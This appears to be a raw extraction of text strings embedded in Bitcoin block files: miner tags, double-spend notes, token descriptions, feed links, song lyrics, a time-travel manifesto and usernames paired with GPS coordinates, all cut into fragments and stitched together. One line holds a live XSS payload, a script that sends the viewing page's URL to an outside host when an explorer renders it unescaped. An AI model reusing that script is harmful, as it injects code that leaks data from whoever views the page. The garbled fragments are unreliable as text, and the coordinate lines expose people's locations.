unsuccessful double-spend attempt
unsuccessful double-spend attempt
#DOW Jones Industrial AverR
Microsoft Corporation shaR
Mined by cyha20140108
u=https://cpr.sm/UbUvgjMCaOd
Mined by wangxingsmile
! t.io/feed/18kpWqxCg5SxUpnqMgd1CBR
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
! t.io/feed/1J3W5WYa9f47hU4hRhPnoNR
Mined by chenxuxiong
unsuccessful double-spend attempt
Mined by a2472317999
unsuccessful double-spend attempt
! t.io/feed/1F6qFqPmHD6L1bW2ZSbFvbR
Mined by zhulingbo1986
unsuccessful double-spend attempt
Mined by huangqizhang
u=http://bit.ly/1ljf175D[
unsuccessful double-spend attempt
u=http://bit.ly/1ljf175$
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by sww11005088
Mined by huangaifang
Mined by dabinggege520
Mined by zhangyinmeng
Mined by dangyuanhao
Mined by chenning888
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script> u
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`! t.io/feed/1Pfk5DiEV3usuCwtjbdojMR
Mined at GIVE-ME-COINS.comS
unsuccessful double-spend attempt
Mined by liquidketamine
u=https://cpr.sm/6j6V4rMuCq@
m! t.io/feed/1BNaWZDvuorU67dzraj4Q2R
unsuccessful double-spend attempt
Mined by tianliang347
unsuccessful double-spend attempt
Mined by zhangbizhen1962
unsuccessful double-spend attempt
Mined by zhaodong1982
unsuccessful double-spend attempt
gm! t.io/feed/17wSvfyNTXHXhkjG3xo9AmR
4sf! t.io/feed/16BxmnZrL7vmaksfTEmAP5R
&{ "image": "http://sebuh.R
Mined by qq623602032
sebuh.com for details
Mined by zhaodong1982
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by xuming780402
unsuccessful double-spend attempt
File: blk00149.txt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
this is ostensibly a testmessage!
this is ostensibly a testmessagg!
this is ostensibly a testmessagq!
this is ostensibly a testmessags!
this is ostensibly a testmessagy!
this is ostensibly a testmessag
this is ostensibly a testmessag
this is ostensibly a testmessag
this is ostensibly a testmessaghZ
h! t.io/feed/1ATwjL6yLd5XkXYSHtpYXDR
g|! t.io/feed/1CG3NNztMyeRHxHHZ6pGSYR
! t.io/feed/15VuHjYvrmbhGNBoMpTKUUR
! t.io/feed/12Yw6LrqA6fV9kHph8iwpCR
Mined by tianliang347
Mined by blacksteeeel
http://www.swarmcorp.com/R
#Used to bid for ABL's forR
this is ostensibly a testmessage!
this is ostensibly a testmessagg!
this is ostensibly a testmessagq!
this is ostensibly a testmessags!
this is ostensibly a testmessagy!
this is ostensibly a testmessag
this is ostensibly a testmessag
this is ostensibly a testmessag
this is ostensibly a testmessagh!
this is ostensibly a testmessag
this is ostensibly a testmessag
Mined by cyha20140108
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by sundewen123
# File insertion tool for Bitcoin
unsuccessful double-spend attempt
(Iowa Food grade soybeans,R
n! t.io/feed/1PmBPVA4RgXdkeUBr27X7wR
# File insertion tool for Bitcoin
p! t.io/feed/1Jc3nhMxRQdLTjRKJCSps7R
Mined by luoping5168
! t.io/feed/1AaF2T9s6Esym5uenAPeaAR
Mined by flyingkisser
Mined by heqiangguang
unsuccessful double-spend attempt
Mined by qq2062586574
unsuccessful double-spend attempt
Mined by wangxingsmile
unsuccessful double-spend attempt
unsuccessful double-spend attempt
! t.io/feed/1FLPBV54DszEBb4UACtyCYR
! t.io/feed/1J3W5WYa9f47hU4hRhPnoNR
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by yingxiongwuhui
.! t.io/feed/1JfUjYC3u7R8nT6Pj52mHVR
! t.io/feed/14PFFd8d9RWyHsKz92K1JuR
unsuccessful double-spend attempt
9n! DW BITCOIN DIFFICULTY
unsuccessful double-spend attempt
u=https://cpr.sm/sCiCWOMknC(Q
unsuccessful double-spend attempt
JJ gre nazaj sedet!!
unsuccessful double-spend attempt
! t.io/feed/17vbGb4edkoCht5WYSUSQrR
! t.io/feed/1864nY4pU9ikrnMk8FGMWrR
File: blk00150.txt
&https://www.startjoin.comR
Mined by laiquanlong
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Everybody should have somR
http://permacredits.com
u=https://cpr.sm/A4slO2xEjT
u=https://cpr.sm/A4slO2xEjT
Mined by zhaodong1982
Mined by laiquanlong
&Iowa Food grade soybeans R
&https://www.startjoin.comR
! t.io/feed/1DX1htjvbPYrqw9UdkSREyR
unsuccessful double-spend attempt
Mined by qq530004929
! t.io/feed/1D1YYW8ZuK5d7KR2neZ35YR
! t.io/feed/1D7VpWkCt8MmVKEWUoRVPxR
u=https://cpr.sm/A4slO2xEjT
unsuccessful double-spend attempt
"j 祇園精舎
Mined by chenchunlei
Mined by qq1308234292
! t.io/feed/1MJGGVy6jWbMsbcoeJXb3RR
! t.io/feed/16gwasJ8c12chBfLWQNznvR
u=https://cpr.sm/WOe54p-f8L
Booty Tron Presents Fife R
www.coincircles.com
u=https://cpr.sm/qxEdls_Bnb8]
Mined by myskitty108
unsuccessful double-spend attempt
u=https://cpr.sm/491Z5GkwR7(6
&https://www.startjoin.comR
&https://www.startjoin.comR
! t.io/feed/1G7o5H76BkW45ZdGkh3ZX2R
Mined by cjs18665506868
s! t.io/feed/1Q2pJVjGnFEcTm6duCKCiNR
Mined by konglong001
>W! t.io/feed/1DzTfziMRQC3CuZaAnAn9nR
unsuccessful double-spend attempt
Mined by qq1580833384
Mined by laiquanlong
] Mined by AntPool e
Mined by wang1306403496
@Mined by vanessa1209
Mined by hujiqi168138
Mined by tianliang347
(Visit http://consulting.bR
File: blk00151.txt
u=https://cpr.sm/Orpcws-o3U
Mined by zhaodong1982
Mined by cyha20140108
! t.io/feed/1BSEkHeVU2yFfzYrXuwbKeR
See:www.btcsouk.com/
See:www.btcsouk.com/
Mined by xm13666099892
Mined by qq278449611
http://pastebin.com/fY2kuR
Mined by zhaodong1982
! t.io/feed/1eKteDcReWakH8jqbkJcBcR
! t.io/feed/12GpobcMk2quNAQ2tndKUcR
! t.io/feed/1QJVN8psZp6iWSQwuaUB4LR
CleanMiner Reward Asset
)1/1000 an Acre of SOYBEANR
&GMO #2 yellow dent corn 7R
'IA2053 soybeans (1tonne) R
cleanminer.org - CrowdSalR
'cleanminer.org - IndicatiR
R^Mined by jazhanghua
Mined by chenyun0554
}^UUMined by shantou
jUUMined by hqj680312
(cleanminer.org - Value AcR
$cleanminer.org - Solar ChR
"cleanminer.org - Wind ChaR
'prismcoin.com - MultiAsseR
u=https://cpr.sm/eRTLqPoFvK(6
u=https://cpr.sm/eRTLqPoFvKX
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
Mined by zhaodong1982
! t.io/feed/19FjPSrzAHau5TbXX7voR8R
! t.io/feed/1BHcztZ2g6a14iUamUtEKAR
! t.io/feed/14WKJsxqfA14dz3utHr4vBR
UUUMined by bit3coin
Mined by l13355617255
Mined by fatylijianhui
#Cleansmanship Coin - backR
Mined by zhaodong1982
!Because you did somethingR
Mined by q2634672795
Official BTCC supporter cR
'prismcoin.com - MultiAsseR
u=https://cpr.sm/eRTLqPoFvKP
Mined by wuwei871125
)Represents how well the 4R
! t.io/feed/1KoZjA5Lnb3Dgh6KosQhKER
! t.io/feed/1BVce5BfUJ2iGMukbtCfVkR
)Value based on how well 4R
u=https://cpr.sm/AWRjnAh0ur
Mined by wanglijunbtc
Counterparty rep of URO (R
! t.io/feed/1NRzoMR9cKPWC5AXUFf5NcR
Mined by zhaodong1982
"Exchangeable for Coke RewR
Mined by btc20131111
Mined by qq1308234292
%For more info: http://coR
%For more info: http://coR
%For more info: http://coR
Mined by zhaodong1982
'Gift Certificate for ZotzR
#www.digitaltangibletrust.R
File: blk00152.txt
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)http://www.digitaltangiblR
)digitaltangibletrust.com/R
)http://www.digitaltangiblR
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
! t.io/feed/16EyHwXAi3R4JUd7sBLNYXR
(varies on performance in R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
&digitaltangibletrust.com/R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
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)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
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"Counterparty representatiR
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)digitaltangibletrust.com/R
)digitaltangibletrust.com/R
! t.io/feed/1GqAEsPY1ziScFdwmu3diTR
)Home of da Kim chee drop R
u=https://cpr.sm/T0N66eYd9r
)digitaltangibletrust.com/R
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Marks moped ownership houR
Mined by zhoujianyong
S@^UUMined by aa83562793
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u=https://cpr.sm/WWKGfCUIvD
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cleancoin.org - Internal R
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@Mined by zhaodong1982
]Mined by liuliu2003
"For later specified distrR
%Ideocoins sold during theR
Mined by zhangtinghao
! t.io/feed/18kpWqxCg5SxUpnqMgd1CBR
! t.io/feed/1F6qFqPmHD6L1bW2ZSbFvbR
\UUMined by zhaodong1982
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u=https://cpr.sm/3FPRe4EVMY8]
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File: blk00153.txt
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aUUMined by hqj680312
Mined by devilhughfire
^UUMined by changfeifei
>93/Testing ADD Jour
nal Feature on the l
atest Bitcoin Client
}|~~}}}|}}|}}|}}|}}|
4sf! t.io/feed/16BxmnZrL7vmaksfTEmAP5R
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&More info: transparenteurR
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:;! NEWBIECO{"min_newb_amount":"1019R
:;! 999999","detail_url":"http://wwwR
:;! .demohour.com/projects/347210","R
:;! te":"2014-7-20","banner_img_url"R
:;! :"http://www.myexception.cn/r/cmR
:;! s/www/red/img/exception-logo.jpgR
:;! ","item_sets":{"1050000000":10,"R
'ideocoin distributed duriR
/2506:For my first o
fficial Journal entr
y I've decided to ar
chive some old poetr
ew of the computatio
nal poems I've creat
using a very standa
c d e f g h I
+ 1 + 713167
= 56 5+6 = 11 = 2
+919151 +77914941
= 78 7+ 8 = 15 = 6
words on each line
milarly but with dif
ferent cyphers based
off the order of le
tters in various sec
SF:59 "The years gre
atest Science Fictio
n and Fantasy" Copyr
Three small words
I opened a
lines. on thre
e lines. with 4 g
on
and on.
a madness i f
more surely
Glaucus Atlanticus
with rule sets appli
unblinking creature
etween canyon and mo
ontrasted, depths an
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unsuccessful double-spend attempt
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:;! g_url":"http://www.myexception.cR
:;! n/r/cms/www/red/img/exception-loR
:;! go.jpg","item_sets":{"1050000000R
":10,"210000000":5}}
!cashable for XCP if Rams R
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Mined by zhaodong1982
@charley,37.773608,-122.413190
@mattmatt,37.771923,-122.432507
#j!@adamludwin,37.447748,-122.159723
#j!@ajerickson,37.779274,-122.404653
"j @andrewcmyk,36.175634,-86.754528
@uxtronaut,44.977900,-93.237259
@nikolay,33.685535,-117.820400
@vilcsak,37.776970,-122.410148
%j#@ryandotsmith,34.123372,-118.254628p
"j @Sam_Oldak,37.525067,-122.258355`
#j!@garietyxxx,45.496193,-122.624710P
#cashable for XCP if BrownR
'cashable for XCP if BuccaR
"j @aaronwhite,42.364770,-71.075246@X/
"j @maxstoller,40.719267,-73.98565601/
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@lwburk,38.656454,-90.307513
@pierot,51.209776,4.412055
%j#@milindalakmal,40.709295,-74.008833
@xtrimsky,40.848989,-73.644850
@medjaNET,46.400335,14.141573
"j @meznaricnet,46.419953,15.869688
@nussbi,28.419543,-16.302696
$j"@shervinater,34.430440,-119.886633
@dshack,37.783029,-122.393205
@tlongren,42.022718,-93.452301
@NaivSatyam,62.562217,7.696212p\-
$j"@heratgandhi,37.417513,-122.026005`5-
@pettazz,42.366746,-71.090475P
@sssilver,32.800779,-96.801725@
#j!@calesennett,40.498037,-88.9351150
$j"@andrewparker,42.358431,-71.059773
@ajai,33.930358,-84.350527
#j!@tekknolagi,37.440635,-122.142370
@coreyr,37.782300,-122.410106
@charley,37.773467,-122.413267
@jbaudanza,42.348405,-71.086772
@ianunruh,42.246795,-83.737490
$j"@dennis_qian,37.776939,-122.415532
%cashable for XCP if RedskR
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@thelkgc,32.319940,-106.763654
$j"@thibaultCha,37.793862,-122.402908
u=https://cpr.sm/a-UEKEsTyU8]
@m0ntauk,51.357473,12.372885
@zjiadev,45.002492,-93.249004p
ave about a 1 in 14
million chance to be
an astronaut. We f
eel time travel acce
ss will be similar t
o space travel acces
s within our lifetim
es. Because of this
we need a very larg
e pool of people to
make this decision t
oday in order for us
to be successful in
the future. If no
one shows up on Dec
21, 2014 we will ga
ther more people and
try again in 2015 a
t may not be possibl
e to visit one's exa
ct self. The person
s who great us may
be versions of us fr
om parallel universe
s. Consider this: At
least one reality n
eeds to do all the w
ork to develop time
travel and then actu
ally use this techno
logy to come and vis
it us. Because this
hard working realit
y made the journey,
The universe in whic
h you and I exist wi
ll be a bit differen
t from their own..In
our universe, Time
Travel technology co
uld be handed down t
o us..therby reducin
g the amount of work
required by our own
universe to begin e
xploring time. WE
may be the ones who
have to do all the w
ork and figure this
out so roll up them
sleaves it's time to
get busy!! Howev
er, If someone does
show up on Dec 21st
don't forget to give
them a hefty pat on
arch for a decrypted
message that will b
e archived later in
the year on this sam
e channel. To prove
you are from our fu
ture you must reveal
to us the contents
of this message befo
re we decrypt and ar
chive it live on the
IAmTimeLoop streami
ng event ocurring on
midnight dec 21 201
"4764>This message w
as orginally posted
to facebook Oct 31,
2012 as part of soci
al media experiment.
I am archiving it
on the blockchain as
yet another assuran
ce that the message
and goal of the expe
riment exists on int
e date of "First Con
tact" has been modif
ur mission is to cre
ate a situation in o
ur very near future
in which definitive
undeniable proof of
time travel presents
itself in a GRAND f
ashion for the whole
ible that the abilit
y to Travel through
time will be achieve
d within our lifetim
es. However, simila
r to how limited spa
ce travel is today t
here may only be a s
elect few people who
actually get a shot
more people who con
sciously make a deci
sion today to attemp
t to do this at some
point in the future
the more likely we
will succeed! Can yo
u imagine millions o
f people all pledgin
g to visit themselve
s on Dec 21. If it i
s possible, Surely 1
out of the millions
will make the trip
or at least pass on
ving the ability to
travel through time
is like being issued
a card to a Library
of Infinite Knowled
ge. The cures and so
lutions for every co
ncievable problem ou
r planet faces is do
cumented somewhere i
n the halls of time.
Instant access to
every invention and
every idea that will
ever be made. Unli
mited Energy, A Cure
for every disease,
Awesome Space Boots.
oto or video pledge:
on your intent help
s solidify your plan
s thereby making you
more likely to reme
mber to try in the f
uture. And it's FUN!
2012 to start this
Simple...This future
date was already i
mprinted on many peo
ple around the world
. There were thousa
nds of mentions of t
his date in books an
d in the media. We
needed a very memori
al date in our near
future so it just ma
de sense to use this
date. We DID NOT t
hink the world would
end on this date.
In Fact we were coun
ting on it not endin
g...Our goal was to
work this idea into
the media storm surr
ounding this date an
d by doing so spread
it around the world
. This date was the
rocket fuel for our
experiment generati
ng over 15 Thousand
to you. This idea i
s just beginning to
spread and you are t
he pioneers... Post
a Video, Share this
page, tweet using th
e #IAmTimeLoop tag,
Discuss time travel
with your friends an
d make a conscious d
ecision now to visit
*yourself on Dec 21
, 2014 by publicly t
aking the following
nly swear if at any
point in my life I h
ave the ability to t
ravel through time a
nd space I will visi
t myself Dec 21 2014
more of us will be
fortunate enough to
make the journey and
change the world as
we know it. We hope
to see *you on Dec
This is NOT an attem
pt to disprove time
travel. This is an a
ttempt to prove time
travel IS possible.
It's very probable
that even out of a
million hopeful peop
le not a single pers
on would get the opp
ortunity to time tra
vel in their lifetim
es. The current pop
ulation of the plane
t is approaching 7 b
illion people and ou
t of this only aroun
d 500 people have ev
er traveled into spa
ce. You currently h
@charley,37.772629,-122.412547`
#j!@dmitry2673,47.529906,-122.071624P
&PLEASE VISIT http://blog.R
Mined by wanglongqian
)1/1000 an Acre of GMOCORNR
! ps://xcpfeeds.info/static/live/fR
! ps://xcpfeeds.info/static/live/fR
$j"@maiahariton,37.783736,-122.418726@v*
&j$@oskar_eriksson9,58.413637,15.6246920O*
@david770,51.508515,-0.125487 (*
@ozguralaz,41.031382,28.988437
@octalmage,30.250888,-97.747922
Ownership stake of HumintR
'ideopoints distributed duR
@charley,41.878114,-87.629798p]
@eduardo,37.425997,-5.985492`6
"j @sanderdatema,51.986089,5.672131P
"j @DanRuswick,41.880169,-87.629622@
@chubert,37.428841,-122.1931450
@gzulauf,32.911930,-117.128990
@ke,37.806163,-122.247440
@charley,41.878114,-87.629798
"j @RAMRAMPATIL,18.597925,73.792401
File: blk00154.txt
! p://xcpfeeds.info/static/live/feR
! p://xcpfeeds.info/static/live/feR
@charley,35.991759,-86.736096
! p://xcpfeeds.info/static/live/feR
u=https://cpr.sm/Vhr0Mxpc198]
98a0007109b477f8bbc0
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HB1Pw5rNYEfVW93vd6zc
https://BlueSquirrel.com
corded, alongside it
s lyrics, in the anc
ient Greek musical n
otation, was found e
ngraved on a tombsto
ne, near Aidin, Turk
eySeikilos.mid>640<M
lyPond 2.2.2
tomatically by: GNU
:357|The Seikilos ep
itaph is a Hellenist
ic Ionic song in Phr
ygian octave species
and the oldest surv
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usical notation, fro
m anywhere in the wo
rld. The song, the m
elody of which is re
LilyPond 2.2.2
5 16:36:10 2004
Jul 5 16:36:10 200
4
67e95a8fa3b591f223f7
0428bb5f897a0964d982
a7f9738c9c6d4c381a7f
0adc?462"67e95a8fa3b
591f223f70428bb5f897
a0964d982a7f9738c9c6
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6a7f78172c113ed74627
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39c4c29133b510b03944
d74127809e924e5f6db9
51e174c66634b93ab9bf
8e0add86a4d11a8fd1ba
Imagine there's no c
may say I'm a dream
omeday you'll join u
ut I'm not the only
d the world will liv
Winston Ono Lennon,
MBE was an English m
usician, singer and
songwriter who rose
to worldwide fame as
a founder member of
the rock group the
Beatles, the most co
mmercially successfu
l band in the histor
y of popular music.
n: October 9, 1940,
Liverpool, United Ki
December 8, 1980, N
ouse: Yoko Ono (m. 1
Lennon, Julian Lenn
ennon, Alfred Lennon
148f5f1e6f28a2ce069d
79b2de2e4008364685ed
db011480287a491511f0
68bf\528/148f5f1e6f2
8a2ce069d79b2de2e400
8364685eddb011480287
e0fef40ec330a0b83f03
783be3f97ef6387046fe
ea84ecf3fef6914bbc0f
4e864707b70b82c5e61c
3137ca436936451fffbc
399baf89be83bd12687f
fa2a6548744e21ae787f
0ec05c346f61ba3790a9
34f22c92cf1cb4450a10
53be6259f532a643009a
8f304daca7725fe60f4f
c4c287dde93548d3071b
c83aba5e6356af7b6b21
e847127b2557c9cb65aa
377ff2441449bcbc9646
u=https://cpr.sm/TEbfNWqTQj
u=https://cpr.sm/TEbfNWqTQjp
u=https://cpr.sm/00Arruw6Nr
Mined by cai13799008687
@sco,37.765856,-122.448217
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
Mined by zhaodong1982
MMined by liquidketamine
unsuccessful double-spend attempt
$Profit Sharing for My AltR
Mined by wangxingsmile
Mined by zhaodong1982
)My Personal Coin for UnknR
Mined by wfababamama
Mined by qzyking1234
)My Personal Coin for UnknR
! ps://xcpfeeds.info/static/live/fR
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)Visit http://www.tatianacR
Mined by cyha20140108
fCg! ps://xcpfeeds.info/static/live/fR
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)Visit http://www.tatianacR
3! ps://xcpfeeds.info/static/live/fR
3! ps://xcpfeeds.info/static/live/fR
! t.io/feed/17vbGb4edkoCht5WYSUSQrR
Mined by jzy198299999
! ps://xcpfeeds.info/static/live/fR
0! t.io/feed/1BvUSjjqdcjdAjBZ1bF7ruR
I could really use the heR
Mined by gzq515933707
Mined by wangxingsmile
Mined by sxwo47995152
"An Intellectual Property R
&Supports commercial bamboR
Mined by zhangyanling38
Mined by qq659993866
! t.io/feed/1864nY4pU9ikrnMk8FGMWrR
@charley,35.528397,-82.532499
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
! ps://xcpfeeds.info/static/live/fR
3! ps://xcpfeeds.info/static/live/fR
unsuccessful double-spend attempt
Mined by qq2642205294
Some BTC ATM planning...
fCg! ps://xcpfeeds.info/static/live/fR
! t.io/feed/14PFFd8d9RWyHsKz92K1JuR
u=https://cpr.sm/7kQtobvWR58]
! ps://xcpfeeds.info/static/live/fR
! ps://xcpfeeds.info/static/live/fR
! p://xcpfeeds.info/static/live/feR
http://www.coindocket.comR
/307:And the party c
ontinues on... Happy
rs birthday AMERICA!
message from Greg Tw
,'dZO30*vaX;96mWND@3
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96mWND@3vK>'&%_JDGD5
984748b246c28af7f62b
b697fd9d06d48acc02cb
4a4111aeae34f48c7736
5522\264:984748b246c
28af7f62bb697fd9d06d
48acc02cb4a4111aeae3
38ee9197f593ed086fc2
87f158ffb3c92a5a5347
6b577499d00b4ba430e0
111de050449e0ebe4703
288e7dfe24cbe43a356a
7d170bc960593b26b73c
?Mined by lxf3299532
World Domination Beer CoiR
9Mined by xwd305486616
u=https://cpr.sm/JUAblCXq1D8]
! ps://xcpfeeds.info/static/live/fR
! ps://xcpfeeds.info/static/live/fR
Fantasy sports token.
Mined by tangsuchuan
! ps://xcpfeeds.info/static/live/fR
@charley,35.555889,-82.583053
Adeally Tokens (free bidsR
Adeally Plays (paid bids)R
Adeally Plays (paid bids)R
Adeally Equity Shares
`Mined by zhaodong1982
Mined by zhaodong1982
u=https://cpr.sm/XliDRBVdP1@'
u=https://cpr.sm/XliDRBVdP1@'
"cashable for XCP if BillsR
assets.ingesture.com/joinR
!cashable for XCP if BearsR
assets.ingesture.com/inviR
Mined by zhangfen048
Some BTC ATM planning...
fCg! ps://xcpfeeds.info/static/live/fR
)Each BEEP is backed by a R
k Road to buy legal
goods such as clothe
Some people used Sil
ave their bitcoins c
onfiscated for that.
Some people used Sil
k Road to buy legal
goods such as clothe
ave their bitcoins c
onfiscated for that.
A coin made by Stewart
Mined by qq2062586574
@charley,35.991780,-86.736051
u=https://cpr.sm/PuNJ8myd78
u=https://cpr.sm/PuNJ8myd78t
Ron Paulxxxxxxxxxxxx
44685035261931188171
4 "-^' X "^-'" 7
4 "-^' X "^-'" 7
File: blk00155.txt
Virtual Coloured Glass GlR
A lot less than you thougR
@charley,35.991780,-86.736051
It's value is what you giR
Mined by trendmaster
assets.ingesture.com/pledR
assets.ingesture.com/passR
assets.ingesture.com/killR
assets.ingesture.com/failR
assets.ingesture.com/pokeR
assets.ingesture.com/muteR
31558817488152092096
u=https://cpr.sm/GVn6Lz7SMyT$
u=https://cpr.sm/YUsNDO-Lz9
u=https://cpr.sm/STDWdoL5Xw
Mined by hujiqi168138
Mined by zhaodong1982
&www.facebook.com/world.doR
Mined by wangxingsmile
"http://danielpbarron.com/R
Mined by chengzhijinkai
Mined by liuhonggang1
Mined by wangxingsmile
!Just wanted to test a fewR
!Just wanted to test a fewR
Mined by lyp545419139
Mined by lcw88888888
! t.io/feed/16gwasJ8c12chBfLWQNznvR
Mined by hubin3635801
#See if callable is refundR
Mined by qq2642205294
! ps://xcpfeeds.info/static/live/fR
! p://xcpfeeds.info/static/live/feR
Mined by jack747884727
@Mined by zhaodong1982
A33Mined by bright2651
m! t.io/feed/1BNaWZDvuorU67dzraj4Q2R
%Token for developers and R
Mined by cjs18665506868
m! t.io/feed/1BNaWZDvuorU67dzraj4Q2R
Mined by zhangyinmeng
! ps://xcpfeeds.info/static/live/fR
assets.ingesture.com/thanR
assets.ingesture.com/thnxR
swf.est2014.BitMC.co
Mined by zhaodong1982
! ps://xcpfeeds.info/static/live/fR
fCg! ps://xcpfeeds.info/static/live/fR
http://7el.us/XELASIC
u=https://cpr.sm/Rz2IacqbQ1-old
u=https://cpr.sm/Rz2IacqbQ1-old
!Currency for the Storj DeR
http://www.tonicfx.co.nz/R
! p://xcpfeeds.info/static/enhanceR
! ps://xcpfeeds.info/static/live/fR
Mined by qq694921151
@charley,51.502958,-0.018527
u=https://cpr.sm/i1s0-HmLZr
*j(DOCPROOF@?pnvf=!;AG
u=https://cpr.sm/LpBiqoeYrK
u=https://cpr.sm/LpBiqoeYrK
Mined by yuyixia8911
File: blk00156.txt
assets.ingesture.com/chooR
assets.ingesture.com/syncR
assets.ingesture.com/clapR
Altanimus project HistoryR
assets.ingesture.com/pullR
assets.ingesture.com/pushR
assets.ingesture.com/winkR
assets.ingesture.com/cheeR
assets.ingesture.com/drinR
assets.ingesture.com/bogoR
assets.ingesture.com/tollR
Mined by zhaodong1982
Mined by shujiangjin
Mined by mss156523255
See http://devonweller.coR
"Shares in the BFIS miningR
Coins for fine wines
This is a bamboo related R
Tree preservation coins
Mined by zhaodong1982
*j(DOCPROOF]y31Q+,N~
Mined by jasonchange
Mined by gaoguangxi68699
assets.ingesture.com/spawR
Xl ,xxx, ,xxx,XX
%Profit shares in www.roguR
Mined by arendelle0ls
Mined by zhengyunlong1
Mined by zhaodong1982
Mined by wangxingsmile
! t.io/feed/133GmMUeDMCNjZ1a7Zi2sBR
`d! xcp.com/feed/149
fCg! ps://xcpfeeds.info/static/live/fR
fCg! ps://xcpfeeds.info/static/live/fR
u=https://cpr.sm/K1XYEmFSXY g
u=https://cpr.sm/xrJ8OwWxTy@8
tokens.cryptoverb.com
assets.ingesture.com/hireR
u=https://cpr.sm/xrJ8OwWxTy
u=https://cpr.sm/xrJ8OwWxTy@'
Mined by chuming1981
9n! DW BITCOIN DIFFICULTY
qffMined by yingchyi123
u=https://cpr.sm/AeEGhwpzx3x
$Cryptocurrency tied to ShR
)Dividend shares in the BTR
"Asset tied to Wynwood, MiR
Mined by nancy2888kuang
<76|Had a great time
with my wife today.
.. we Camped at a ra
ndom MN State Park.
! t.io/feed/1L7LbXC37eBwcB1Vg8XjWsR
! t.io/feed/1L7LbXC37eBwcB1Vg8XjWsR
! t.io/feed/1L7LbXC37eBwcB1Vg8XjWsR
Mined by wangxingsmile
For Creating Token SocietR
Mined by chenshaoqun
This coin is very scarce.R
!Greenkoin is not just a mR
! p://xcpfeeds.info/static/live/feR
http://www.foldingcoin.neR
Mined by chenning888
4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
4! t.io/feed/19FzxdAQMSUoHmqnvU4B3KR
